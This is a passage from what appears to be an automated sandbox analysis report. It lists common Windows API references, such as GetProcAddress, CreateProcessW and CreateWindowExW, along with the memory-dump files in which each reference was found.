00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateMutexW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetFileAttributesExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetTickCount64"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetProductInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetFileMUIPath"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "EnumUILanguagesW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetUserPreferredUILanguages"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetProcessPreferredUILanguages"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "NotifyUILanguageChange"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetExitCodeThread"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetSystemPreferredUILanguages"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetThreadPreferredUILanguages"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetUILanguageInfo"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetParent"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetWindowRgn"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "InvalidateRect"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "BeginPaint"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LoadImageW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "DestroyIcon"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "MapWindowPoints"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 